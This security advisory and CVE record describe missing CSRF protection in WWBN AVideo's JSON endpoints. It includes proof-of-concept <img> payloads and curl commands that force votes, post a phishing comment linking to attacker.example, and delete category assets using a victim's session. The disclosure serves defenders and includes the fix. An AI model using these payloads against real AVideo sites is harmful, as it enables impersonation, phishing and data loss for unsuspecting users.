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GHSA-X2PW-9C38-CP2J

Vulnerability from github – Published: 2026-04-14 23:12 – Updated: 2026-04-14 23:12

Summary

WWBN AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion

Details

Summary

Multiple AVideo JSON endpoints under objects/ accept state-changing requests via $_REQUEST/$_GET and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:

Cast/flip the victim's like/dislike on any comment (objects/comments_like.json.php).
Post a comment authored by the victim on any video, with attacker-chosen text (objects/commentAddNew.json.php).
Delete assets from any category (objects/categoryDeleteAssets.json.php) when the victim has category management rights.

Each endpoint is reachable from a browser via a simple <img src="…"> tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.

Details

AVideo exposes a helper, forbidIfIsUntrustedRequest() (objects/functionsSecurity.php:138), that rejects cross-origin requests when the Referer/Origin does not match webSiteRootURL. It is only invoked in one file in the tree — objects/userUpdate.json.php:18 — and is not applied to the endpoints below. There is also an isGlobalTokenValid() helper (objects/functions.php:2313) intended for CSRF-style token checks; none of the affected endpoints call it. allowOrigin() only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.

1. `objects/comments_like.json.php` — CSRF → forced like/dislike

// objects/comments_like.json.php
15: if (empty($_POST['comments_id']) && !empty($_GET['comments_id'])) {
16:     $_POST['comments_id'] = $_GET['comments_id'];
17: }
18:
19: $like = new CommentsLike($_GET['like'], $_POST['comments_id']);
20: echo json_encode(CommentsLike::getLikes($_POST['comments_id']));

The endpoint deliberately promotes $_GET['comments_id'] to $_POST['comments_id'] so the call works for either verb. CommentsLike::__construct (objects/comments_like.php:18) reads User::getId(), calls load() to fetch any prior vote, then setLike() + save() — issuing an INSERT/UPDATE on comments_likes keyed to the session user (objects/comments_like.php:70-89). There is no token check and no origin check.

2. `objects/commentAddNew.json.php` — CSRF → forced comment posting

// objects/commentAddNew.json.php
34: if (!User::canComment()) {
35:     $obj->msg = __("Permission denied");
36:     die(json_encode($obj));
37: }
...
117: $objC = new Comment($_REQUEST['comment'], $_REQUEST['video']);
118: $objC->setComments_id_pai($_REQUEST['comments_id']);
...
124: $obj->comments_id = $objC->save();

All inputs come from $_REQUEST, so GET is fully supported. The only gate is User::canComment(), which is true for ordinary logged-in users. isCommentASpam() (lines 39–97) is a per-session rate limiter, not a CSRF defense — it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's users_id via $objC->save().

3. `objects/categoryDeleteAssets.json.php` — CSRF → forced deletion of category assets

// objects/categoryDeleteAssets.json.php
14: $obj->id = intval(@$_REQUEST['id']);
15:
16: if (!Category::canCreateCategory()) {
17:     $obj->msg = __("Permission denied");
18:     die(json_encode($obj));
19: }
20:
21: if (!Category::deleteAssets($obj->id)) {
22:     $obj->error = false;
23: ...

State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of <img> tags — every one fires a credentialed request.

Root cause (shared)

All three endpoints follow the same pattern: objects/*.json.php handler that (a) reads mutating parameters from $_REQUEST/$_GET, (b) performs authorization against the victim's session, and (c) writes to the database — without calling forbidIfIsUntrustedRequest(), without validating a CSRF token, and without any SameSite mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.

PoC

Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site <img>/top-level GETs.

Variant A — comments_like.json.php (force a downvote on comment id 10)

Attacker page:

<img src="https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10'
# → {"comments_id":10,"likes":...,"dislikes":...,"myVote":-1}
# Row inserted/updated in `comments_likes` with users_id = victim.

Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123)

Attacker page:

<img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam&video=123" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=123'
# → {"error":false,"comments_id":<id>,"msg":"Your comment has been saved!",...}

Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)

Attacker page (enumerate several ids):

<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3">

Manual verification:

curl -b 'PHPSESSID=<category-admin-session>' \
  'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1'
# → {"error":false,"msg":"","id":1}
# Assets for category 1 are removed.

Impact

Integrity of social signals: Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts like=-1|0|1, arbitrary vote states can be forced.
Identity abuse via forced comments: An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.
Data loss: Any user with canCreateCategory() who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of <img> tags can cover the full category space in one page load.

No special configuration is required; AVideo's default session cookie lacks a SameSite=Lax/Strict protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.

Recommended Fix

Call the existing forbidIfIsUntrustedRequest() helper at the top of every mutating objects/*.json.php handler (the same pattern already used in objects/userUpdate.json.php):

// objects/comments_like.json.php (add near line 9)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/commentAddNew.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/categoryDeleteAssets.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

Require $_SERVER['REQUEST_METHOD'] === 'POST' (or DELETE) for state-changing operations and stop promoting $_GET['comments_id'] → $_POST['comments_id'] in comments_like.json.php:15-17.
Validate a per-session CSRF token on all mutating endpoints using the existing isGlobalTokenValid() / getToken() helpers (objects/functions.php:2313), rejecting requests whose globalToken is missing or invalid.
As defense in depth, set the session cookie with SameSite=Lax (or Strict) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.

Applying (1) alone closes all three reported variants; (2)–(4) harden the surface against variants of the same pattern in other objects/*.json.php handlers.

Severity ?

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:12:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nMultiple AVideo JSON endpoints under `objects/` accept state-changing requests via `$_REQUEST`/`$_GET` and persist changes tied to the caller\u0027s session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:\n\n1. Cast/flip the victim\u0027s like/dislike on any comment (`objects/comments_like.json.php`).\n2. Post a comment authored by the victim on any video, with attacker-chosen text (`objects/commentAddNew.json.php`).\n3. Delete assets from any category (`objects/categoryDeleteAssets.json.php`) when the victim has category management rights.\n\nEach endpoint is reachable from a browser via a simple `\u003cimg src=\"\u2026\"\u003e` tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.\n\n## Details\n\nAVideo exposes a helper, `forbidIfIsUntrustedRequest()` (`objects/functionsSecurity.php:138`), that rejects cross-origin requests when the `Referer`/`Origin` does not match `webSiteRootURL`. It is only invoked in one file in the tree \u2014 `objects/userUpdate.json.php:18` \u2014 and is *not* applied to the endpoints below. There is also an `isGlobalTokenValid()` helper (`objects/functions.php:2313`) intended for CSRF-style token checks; none of the affected endpoints call it. `allowOrigin()` only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.\n\n### 1. `objects/comments_like.json.php` \u2014 CSRF \u2192 forced like/dislike\n\n```php\n// objects/comments_like.json.php\n15: if (empty($_POST[\u0027comments_id\u0027]) \u0026\u0026 !empty($_GET[\u0027comments_id\u0027])) {\n16:     $_POST[\u0027comments_id\u0027] = $_GET[\u0027comments_id\u0027];\n17: }\n18:\n19: $like = new CommentsLike($_GET[\u0027like\u0027], $_POST[\u0027comments_id\u0027]);\n20: echo json_encode(CommentsLike::getLikes($_POST[\u0027comments_id\u0027]));\n```\n\nThe endpoint deliberately promotes `$_GET[\u0027comments_id\u0027]` to `$_POST[\u0027comments_id\u0027]` so the call works for either verb. `CommentsLike::__construct` (`objects/comments_like.php:18`) reads `User::getId()`, calls `load()` to fetch any prior vote, then `setLike()` + `save()` \u2014 issuing an `INSERT`/`UPDATE` on `comments_likes` keyed to the session user (`objects/comments_like.php:70-89`). There is no token check and no origin check.\n\n### 2. `objects/commentAddNew.json.php` \u2014 CSRF \u2192 forced comment posting\n\n```php\n// objects/commentAddNew.json.php\n34: if (!User::canComment()) {\n35:     $obj-\u003emsg = __(\"Permission denied\");\n36:     die(json_encode($obj));\n37: }\n...\n117: $objC = new Comment($_REQUEST[\u0027comment\u0027], $_REQUEST[\u0027video\u0027]);\n118: $objC-\u003esetComments_id_pai($_REQUEST[\u0027comments_id\u0027]);\n...\n124: $obj-\u003ecomments_id = $objC-\u003esave();\n```\n\nAll inputs come from `$_REQUEST`, so GET is fully supported. The only gate is `User::canComment()`, which is true for ordinary logged-in users. `isCommentASpam()` (lines 39\u201397) is a per-session rate limiter, not a CSRF defense \u2014 it accounts the victim\u0027s own session bucket, so it does not block a single forged write. The comment is persisted under the victim\u0027s `users_id` via `$objC-\u003esave()`.\n\n### 3. `objects/categoryDeleteAssets.json.php` \u2014 CSRF \u2192 forced deletion of category assets\n\n```php\n// objects/categoryDeleteAssets.json.php\n14: $obj-\u003eid = intval(@$_REQUEST[\u0027id\u0027]);\n15:\n16: if (!Category::canCreateCategory()) {\n17:     $obj-\u003emsg = __(\"Permission denied\");\n18:     die(json_encode($obj));\n19: }\n20:\n21: if (!Category::deleteAssets($obj-\u003eid)) {\n22:     $obj-\u003eerror = false;\n23: ...\n```\n\nState-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of `\u003cimg\u003e` tags \u2014 every one fires a credentialed request.\n\n### Root cause (shared)\n\nAll three endpoints follow the same pattern: `objects/*.json.php` handler that (a) reads mutating parameters from `$_REQUEST`/`$_GET`, (b) performs authorization against the victim\u0027s session, and (c) writes to the database \u2014 without calling `forbidIfIsUntrustedRequest()`, without validating a CSRF token, and without any `SameSite` mitigation in the session cookie set by AVideo\u0027s auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.\n\n## PoC\n\nPreconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site `\u003cimg\u003e`/top-level GETs.\n\n### Variant A \u2014 comments_like.json.php (force a downvote on comment id 10)\n\nAttacker page:\n```html\n\u003cimg src=\"https://victim.example.com/objects/comments_like.json.php?like=-1\u0026comments_id=10\" style=\"display:none\"\u003e\n```\n\nManual verification:\n```bash\ncurl -b \u0027PHPSESSID=\u003cvictim-session\u003e\u0027 \\\n  \u0027https://victim.example.com/objects/comments_like.json.php?like=-1\u0026comments_id=10\u0027\n# \u2192 {\"comments_id\":10,\"likes\":...,\"dislikes\":...,\"myVote\":-1}\n# Row inserted/updated in `comments_likes` with users_id = victim.\n```\n\n### Variant B \u2014 commentAddNew.json.php (force victim to post a phishing comment on video 123)\n\nAttacker page:\n```html\n\u003cimg src=\"https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam\u0026video=123\" style=\"display:none\"\u003e\n```\n\nManual verification:\n```bash\ncurl -b \u0027PHPSESSID=\u003cvictim-session\u003e\u0027 \\\n  \u0027https://victim.example.com/objects/commentAddNew.json.php?comment=phish\u0026video=123\u0027\n# \u2192 {\"error\":false,\"comments_id\":\u003cid\u003e,\"msg\":\"Your comment has been saved!\",...}\n```\n\n### Variant C \u2014 categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)\n\nAttacker page (enumerate several ids):\n```html\n\u003cimg src=\"https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3\"\u003e\n```\n\nManual verification:\n```bash\ncurl -b \u0027PHPSESSID=\u003ccategory-admin-session\u003e\u0027 \\\n  \u0027https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1\u0027\n# \u2192 {\"error\":false,\"msg\":\"\",\"id\":1}\n# Assets for category 1 are removed.\n```\n\n## Impact\n\n- **Integrity of social signals:** Attackers can flip any logged-in user\u0027s likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts `like=-1|0|1`, arbitrary vote states can be forced.\n- **Identity abuse via forced comments:** An attacker can cause any logged-in user with comment permission to \"post\" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim\u0027s name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.\n- **Data loss:** Any user with `canCreateCategory()` who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of `\u003cimg\u003e` tags can cover the full category space in one page load.\n\nNo special configuration is required; AVideo\u0027s default session cookie lacks a `SameSite=Lax/Strict` protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.\n\n## Recommended Fix\n\n1. Call the existing `forbidIfIsUntrustedRequest()` helper at the top of every mutating `objects/*.json.php` handler (the same pattern already used in `objects/userUpdate.json.php`):\n\n```php\n// objects/comments_like.json.php (add near line 9)\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nforbidIfIsUntrustedRequest();\n\n// objects/commentAddNew.json.php (add after configuration.php include)\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nforbidIfIsUntrustedRequest();\n\n// objects/categoryDeleteAssets.json.php (add after configuration.php include)\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nforbidIfIsUntrustedRequest();\n```\n\n2. Require `$_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027POST\u0027` (or `DELETE`) for state-changing operations and stop promoting `$_GET[\u0027comments_id\u0027]` \u2192 `$_POST[\u0027comments_id\u0027]` in `comments_like.json.php:15-17`.\n\n3. Validate a per-session CSRF token on all mutating endpoints using the existing `isGlobalTokenValid()` / `getToken()` helpers (`objects/functions.php:2313`), rejecting requests whose `globalToken` is missing or invalid.\n\n4. As defense in depth, set the session cookie with `SameSite=Lax` (or `Strict`) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.\n\nApplying (1) alone closes all three reported variants; (2)\u2013(4) harden the surface against variants of the same pattern in other `objects/*.json.php` handlers.",
  "id": "GHSA-x2pw-9c38-cp2j",
  "modified": "2026-04-14T23:12:53Z",
  "published": "2026-04-14T23:12:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x2pw-9c38-cp2j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/7aaad601bd9cd7b993ba0ee1b1bea6c32ee7b77c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion"
}

CVE-2026-40928 (GCVE-0-2026-40928)

Vulnerability from cvelistv5 – Published: 2026-04-21 22:14 – Updated: 2026-04-22 13:15

Title

AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion

Summary

WWBN AVideo is an open source video platform. In versions 29.0 and prior, multiple AVideo JSON endpoints under `objects/` accept state-changing requests via `$_REQUEST`/`$_GET` and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently cast/flip the victim's like/dislike on any comment (`objects/comments_like.json.php`), post a comment authored by the victim on any video, with attacker-chosen text (`objects/commentAddNew.json.php`), and/or delete assets from any category (`objects/categoryDeleteAssets.json.php`) when the victim has category management rights. Each endpoint is reachable from a browser via a simple `<img src="…">` tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource. Commit 7aaad601bd9cd7b993ba0ee1b1bea6c32ee7b77c contains a fix.

Severity ?

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 29.0

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-X2PW-9C38-CP2J

Summary

Details

1. objects/comments_like.json.php — CSRF → forced like/dislike

2. objects/commentAddNew.json.php — CSRF → forced comment posting

3. objects/categoryDeleteAssets.json.php — CSRF → forced deletion of category assets

Root cause (shared)

PoC

Variant A — comments_like.json.php (force a downvote on comment id 10)

Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123)

Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)

Impact

Recommended Fix

CVE-2026-40928 (GCVE-0-2026-40928)

Tags

Sightings

Nomenclature

1. `objects/comments_like.json.php` — CSRF → forced like/dislike

2. `objects/commentAddNew.json.php` — CSRF → forced comment posting

3. `objects/categoryDeleteAssets.json.php` — CSRF → forced deletion of category assets